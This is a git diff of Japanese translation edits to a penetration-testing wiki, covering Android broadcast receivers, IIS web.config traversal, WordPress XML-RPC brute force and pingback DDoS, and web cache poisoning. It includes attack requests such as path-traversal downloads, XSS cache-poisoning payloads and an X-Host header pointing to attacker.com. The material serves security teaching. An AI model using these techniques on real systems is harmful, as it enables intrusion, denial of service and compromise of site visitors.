-このブロードキャストレシーバーを発見した後は、**コードを確認する**べきです。特に**`onReceive`**関数に注意を払い、受信したメッセージを処理します。 +このBroadcast Receiversを発見した後は、**コードを確認する**べきです。特に**`onReceive`**関数に注意を払ってください。これは受信したメッセージを処理します。 -#### **すべての** ブロードキャストレシーバーを検出する +#### **すべての** broadcast receiversを検出する ```bash run app.broadcast.info #Detects all ``` @@ -216,17 +214,17 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### メッセージを送信 -この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) のコンテンツプロバイダーを悪用して、ユーザーに許可を求めることなく、**任意のSMS**を非プレミアムの宛先に**送信**できます。 +この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーに許可を求めることなく、**任意のSMS**を非プレミアムの宛先に**送信**できます。 ![](<../../../images/image (415).png>) ![](<../../../images/image (573).png>) -コードを読むと、"_phoneNumber_" と "_message_" のパラメータがコンテンツプロバイダーに送信される必要があります。 +コードを読むと、パラメータ"_phoneNumber_"と"_message_"をContent Providerに送信する必要があります。 ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` -### デバッグ可能かどうか +### デバッグ可能か 本番用APKは決してデバッグ可能であってはなりません。\ これは、**Javaデバッガ**を実行中のアプリケーションにアタッチし、実行時に検査し、ブレークポイントを設定し、ステップバイステップで進み、変数の値を収集し、さらにはそれらを変更することができることを意味します。[InfoSec Instituteには、アプリケーションがデバッグ可能な場合に深く掘り下げ、ランタイムコードを注入するための優れた記事があります](../exploiting-a-debuggeable-applciation.md)。 diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index d814dabdd..28d87c456 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -25,7 +25,7 @@ ![](../../images/img11.png) 次に、**res/xml**フォルダーに移動し、network_security_config.xmlという名前のファイルを作成または修正し、以下の内容を追加します: -```markup +```html @@ -37,7 +37,7 @@ ``` -次に、ファイルを保存し、すべてのディレクトリからバックアウトして、次のコマンドでapkを再構築します: `apktool b *folder-name/* -o *output-file.apk*` +その後、ファイルを保存し、すべてのディレクトリからバックアウトし、次のコマンドでapkを再構築します: `apktool b *folder-name/* -o *output-file.apk*` ![](../../images/img12.png) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 9f4eb0065..0fbdd96bd 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016 ``` ## .configファイルの実行 -.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、ファイルの最後にHTMLコメント内にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内にファイルの最後にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。 @@ -60,7 +60,7 @@ iisfinal.txt > [!NOTE] > 要約すると、アプリケーションのフォルダー内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\ -> **ダウンロードしたDll**からは、**新しいnamespaces**を見つけてアクセスし、web.configファイルを取得して新しいnamespacesとassemblyIdentityを見つけることも可能です。\ +> **ダウンロードしたDll**からは、**新しい名前空間**を見つけてアクセスし、web.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることも可能です。\ > また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。 **.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。 @@ -68,15 +68,15 @@ iisfinal.txt ### **バイナリファイルの探索** **web.config**ファイルにアクセスする例は以下に示されています: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` -このリクエストは、次のようなさまざまな設定と依存関係を明らかにします。 +このリクエストは、次のようなさまざまな設定や依存関係を明らかにします。 - **EntityFramework** バージョン - ウェブページ、クライアント検証、および JavaScript のための **AppSettings** -- 認証とランタイムのための **System.web** 構成 +- 認証とランタイムのための **System.web** 設定 - **System.webServer** モジュール設定 - **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング @@ -84,19 +84,19 @@ Host: example-mvc-application.minded ### **ルートディレクトリファイル** -**/global.asax** や **/connectionstrings.config** (機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。 +**/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。 ### **名前空間と Web.Config** -MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** も定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。 -```markup +MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** を定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。 +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLLのダウンロード** カスタムネームスペースの言及は、/binディレクトリに存在する「**WebApplication1**」という名前のDLLを示唆しています。これに続いて、**WebApplication1.dll**をダウンロードするリクエストが表示されます: -```markup +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -106,7 +106,7 @@ DLL が **WebApplication1.Areas.Minded** という名前空間をインポート ### 一般的なファイル -From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +[こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log @@ -199,7 +199,7 @@ C:\xampp\tomcat\conf\server.xml この**技術**を使用して、発見された各フォルダ内の**フォルダやファイルを列挙**してみることができます(Basic Authenticationが必要な場合でも)。\ この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。 -この脆弱性をテストするには、[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) @@ -241,7 +241,7 @@ ASPXAUTHは次の情報を使用します: ## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) -[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを正しくチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。 +[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。 ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 6ff24df69..e85b3cb17 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -26,7 +26,7 @@ - `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。 - `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。 -- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 +- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよびタクソノミーを含むサイトマップXMLファイルを生成します。 **ポストエクスプロイト** @@ -35,14 +35,14 @@ ### ユーザー権限 - **管理者** -- **編集者**: 自分と他の投稿を公開および管理 +- **エディター**: 自分と他の投稿を公開および管理 - **著者**: 自分の投稿を公開および管理 -- **寄稿者**: 自分の投稿を書くことができ、管理するが、公開はできない +- **寄稿者**: 自分の投稿を書くことができ、管理することができますが、公開することはできません - **購読者**: 投稿をブラウズし、自分のプロフィールを編集 ## **パッシブ列挙** -### **WordPressのバージョンを取得** +### **WordPressバージョンの取得** `/license.txt`または`/readme.html`ファイルを見つけられるか確認します。 @@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress' - JavaScriptファイル -![](<../../images/image (524).png>) - ### プラグインを取得する ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -95,7 +93,7 @@ curl -s -I -X GET http://blog.example.com/?author=1 ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです: +ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` @@ -103,7 +101,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。 -- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**によって**異なります**。 +- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**で**異なります**。 ### XML-RPC @@ -112,7 +110,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください: **チェック** -```markup +```html system.listMethods @@ -123,7 +121,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **クレデンシャルブルートフォース** **`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます: -```markup +```html wp.getUsersBlogs @@ -139,7 +137,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ![](<../../images/image (721).png>) 正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -180,7 +178,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL リスト内にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。\ これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。 -```markup +```html pingback.ping @@ -196,7 +194,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。 **DDoS** -```markup +```html pingback.ping @@ -210,7 +208,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### wp-cron.php DoS このファイルは通常、Wordpressサイトのルートに存在します: **`/wp-cron.php`**\ -このファイルが**アクセス**されると、**重い**MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\ +このファイルが**アクセス**されると、**"重い"** MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\ また、デフォルトでは、`wp-cron.php`はすべてのページロード時に呼び出されます(クライアントが任意のWordpressページをリクエストするたびに)、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。 Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします(問題を引き起こさないように)。 @@ -239,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## ビットを上書きしてアクセスを得る -実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のWordPressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。 +これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -303,7 +301,7 @@ to get a session. - ダウンロードしたプラグインの zip ファイルをアップロードします。 3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。 4. **悪用**: -- "reflex-gallery" プラグインがインストールされ、有効化されている場合、脆弱性が知られているため悪用できます。 +- "reflex-gallery" プラグインがインストールされ、有効化されていると、脆弱性が知られているため悪用できます。 - Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。 - これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。 @@ -313,8 +311,8 @@ to get a session. ## XSS から RCE へ -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:** -- _**特権昇格:**_ WordPress にユーザーを作成します。 +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **Wordpress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:** +- _**権限昇格:**_ WordPress にユーザーを作成します。 - _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。 - _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。 - _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。 @@ -334,7 +332,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインがどのように機能を公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます。 +Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインが機能をどのように公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます。 - **`wp_ajax`** @@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。** > [!CAUTION] -> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 +> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認しているだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 - **REST API** @@ -364,7 +362,7 @@ $this->namespace, '/get/', array( ``` `permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。 -**組み込みの `__return_true` 関数が使用されている場合、ユーザー権限のチェックは単にスキップされます。** +**組み込みの `__return_true` 関数が使用される場合、ユーザー権限のチェックは単にスキップされます。** - **PHPファイルへの直接アクセス** diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 687500a68..3d937fb39 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -11,21 +11,21 @@ ## キャッシュポイズニング -キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答はキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。 +キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染されたレスポンスはキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。 キャッシュポイズニング攻撃の実行にはいくつかのステップがあります: -1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返す応答を変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。 -2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。 -3. **汚染された応答がキャッシュされることを確認**:最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。 +1. **キーのない入力の特定**:これらは、リクエストがキャッシュされるために必要ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。 +2. **キーのない入力の悪用**:キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を見つけることです。 +3. **汚染されたレスポンスがキャッシュされることを確認**:最後のステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。 ### 発見:HTTPヘッダーを確認 -通常、**キャッシュに保存された**応答には、**それを示すヘッダー**があります。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 +通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 ### 発見:キャッシュエラーコード -応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。 +レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。 さらにオプションを見つけることができます: @@ -37,26 +37,26 @@ cache-poisoning-to-dos.md ### 発見:キーのない入力を特定し評価する -[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります: -```markup +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります: +```html ``` ### バックエンドサーバーから有害な応答を引き出す -パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますか(XSSを実行するか、あなたが制御するJSコードを読み込むか? DoSを実行するか?...) +パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますか(XSSを実行する、またはあなたが制御するJSコードを読み込む?DoSを実行する?...) ### 応答をキャッシュさせる -悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**どのように**悪用するかを**特定**したら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 +悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**どのように**悪用するかが分かったら、そのページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ -ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` +ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回そのリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` -もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。 +もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ユーザーがターゲットとしている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。 -キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 +キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。 -リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キーとして使用される可能性**があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 +リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。なぜなら、それらのいくつかは**予期せず**に**キーとして使用される**可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 ## 悪用の例 @@ -64,7 +64,7 @@ cache-poisoning-to-dos.md `X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\ 基本的なXSSペイロードを送信し、キャッシュを汚染することで、そのページにアクセスするすべての人がXSSされることになります: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -80,7 +80,7 @@ cache-poisoning-to-dos.md ### Using web cache poisoning to exploit cookie-handling vulnerabilities クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。 -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" @@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md ### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する 時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。 -```markup +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -116,8 +116,8 @@ X-Forwarded-Scheme: http ``` ### 限定された `Vary` ヘッダーを利用した攻撃 -もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。 -```markup +もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を外部に流出させ、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。 +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディからのリクエストを使用するが、キャッシュサーバーがURLからのリクエストをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: +URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,7 +144,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### HTTPキャッシュポイズニングの悪用 -[Cache Poisoning攻撃をHTTPリクエストスムーグリングを悪用して実行する方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。 +[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)の実行方法について学びましょう。 ### Webキャッシュポイズニングの自動テスト @@ -156,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれました。 +ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました(フラグメントは無視されます)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみでした。 ### GitHub CP-DoS @@ -172,19 +172,19 @@ Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利 ### 403とストレージバケット -Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 